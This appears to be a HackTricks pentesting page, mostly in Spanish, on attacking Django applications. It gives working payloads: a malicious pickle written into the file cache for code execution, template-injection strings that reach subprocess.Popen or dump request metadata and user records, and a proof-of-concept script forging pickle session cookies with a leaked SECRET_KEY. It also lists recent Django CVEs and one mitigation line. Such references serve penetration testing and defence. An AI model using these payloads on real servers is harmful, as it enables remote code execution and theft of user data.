Django

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Cache Manipulation to RCE

El método predeterminado de almacenamiento de cache de Django es Python pickles, lo que puede conducir a RCE si untrusted input is unpickled. Si un atacante puede obtener acceso de escritura al cache, puede escalar esta vulnerabilidad a RCE en el servidor subyacente.

El cache de Django se almacena en uno de cuatro lugares: Redis, memory, files, o una database. El cache almacenado en un servidor Redis o en una base de datos son los vectores de ataque más probables (Redis injection y SQL injection), pero un atacante también podría usar file-based cache para convertir una escritura arbitraria en RCE. Los mantenedores lo han marcado como un non-issue. Es importante tener en cuenta que la carpeta de archivos del cache, el nombre de la tabla SQL y los detalles del servidor Redis variarán según la implementación.

On FileBasedCache, the pickled value is written to a file under CACHES['default']['LOCATION'] (often /var/tmp/django_cache/). If that directory is world-writable or attacker-controlled, dropping a malicious pickle under the expected cache key yields code execution when the app reads it:

python - <<'PY'
import pickle, os
class RCE:
def __reduce__(self):
return (os.system, ("id >/tmp/pwned",))
open('/var/tmp/django_cache/cache:malicious', 'wb').write(pickle.dumps(RCE(), protocol=4))
PY

This HackerOne report provides a great, reproducible example of exploiting Django cache stored in a SQLite database: https://hackerone.com/reports/1415436


Server-Side Template Injection (SSTI)

Django Template Language (DTL) es Turing-complete. Si datos suministrados por el usuario se renderizan como una cadena de plantilla (por ejemplo al llamar a Template(user_input).render() o cuando |safe/format_html() elimina el auto-escape), un atacante puede lograr SSTI → RCE completo.

Detection

  1. Busca llamadas dinámicas a Template() / Engine.from_string() / render_to_string() que incluyan cualquier dato de la solicitud no saneado.
  2. Envía un payload basado en tiempo o aritmético:
{{7*7}}

Si la salida renderizada contiene 49 la entrada es compilada por el motor de plantillas. 3. DTL is not Jinja2: payloads aritméticos/de bucle regularmente lanzan TemplateSyntaxError/500 mientras aún demuestran evaluación. Políglotas como ${{<%[%'"}}% son buenas pruebas para provocar un fallo o renderizado.

Context exfiltration when RCE is blocked

Incluso si el recorrido de objetos hacia subprocess.Popen falla, DTL todavía expone objetos disponibles en el ámbito:

{{ request }}               {# confirm SSTI #}
{{ request.META }}           {# leak Gunicorn/UWSGI headers, cookies, proxy info #}
{{ users }}                  {# QuerySet in the context? #}
{{ users.0 }}                {# first row #}
{{ users.values }}           {# dumps dicts of every column (email/flags/plaintext passwords if stored) #}

QuerySet.values() convierte filas en diccionarios, evitando __str__ y exponiendo todos los campos retornados por el queryset. Esto funciona incluso cuando la ejecución directa de Python está filtrada.

Patrón de automatización: autenticar, obtener el token CSRF, guardar una payload con prefijo marcador en cualquier campo persistente (p. ej., username/profile bio), luego solicitar una vista que la renderice (endpoints AJAX como /likes/<id> son comunes). Analizar un atributo estable (p. ej., title="...") para recuperar el resultado renderizado e iterar las payloads.

Primitiva para RCE

Django bloquea el acceso directo a __import__, pero el grafo de objetos de Python es accesible:

{{''.__class__.mro()[1].__subclasses__()}}

Encuentra el índice de subprocess.Popen (≈400–500 dependiendo de la compilación de Python) y ejecuta comandos arbitrarios:

{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}

Un gadget universal más seguro es iterar hasta que cls.__name__ == 'Popen'.

El mismo gadget funciona para las funciones de renderizado de plantillas de Debug Toolbar o Django-CMS que manejan incorrectamente la entrada del usuario.


Véase también: ReportLab/xhtml2pdf PDF export RCE

Las aplicaciones construidas sobre Django suelen integrar xhtml2pdf/ReportLab para exportar vistas como PDF. Cuando HTML controlado por el usuario llega a la generación de PDF, rl_safe_eval puede evaluar expresiones dentro de corchetes triples [[[ ... ]]] permitiendo ejecución de código (CVE-2023-33733). Detalles, payloads, y mitigaciones:

Reportlab Xhtml2pdf Triple Brackets Expression Evaluation Rce Cve 2023 33733


RCE en cookies de sesión respaldadas por Pickle

Si la opción SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer' está habilitada (o un serializer personalizado que deserialise pickle), Django decrypts and unpickles la cookie de sesión antes de invocar cualquier código de vista. Por lo tanto, poseer una clave de firma válida (el SECRET_KEY del proyecto por defecto) es suficiente para ejecución remota de código inmediata.

Requisitos del exploit

  • El servidor usa PickleSerializer.
  • El atacante conoce / puede adivinar settings.SECRET_KEY (leaks via GitHub, .env, páginas de error, etc.).

Prueba de concepto

#!/usr/bin/env python3
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
import os, base64

class RCE(object):
def __reduce__(self):
return (os.system, ("id > /tmp/pwned",))

mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
print(f"sessionid={mal}")

Envía la cookie resultante, y el payload se ejecuta con los permisos del WSGI worker.

Mitigaciones: Mantén el JSONSerializer por defecto, rota la SECRET_KEY y configura SESSION_COOKIE_HTTPONLY.


Recent (2023-2025) High-Impact Django CVEs Pentesters Should Check

  • CVE-2025-48432Log Injection via unescaped request.path (fixed June 4 2025). Permite a los atacantes introducir newlines/ANSI codes en los archivos de log y envenenar el análisis de logs aguas abajo. Patch level ≥ 4.2.22 / 5.1.10 / 5.2.2.
  • CVE-2024-42005Critical SQL injection in QuerySet.values()/values_list() on JSONField (CVSS 9.8). Construye claves JSON para romper el quoting y ejecutar SQL arbitrario. Fixed in 4.2.15 / 5.0.8.

Siempre fingerprint la versión exacta del framework mediante la página de error X-Frame-Options o el hash de /static/admin/css/base.css y prueba lo anterior cuando corresponda.


References

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks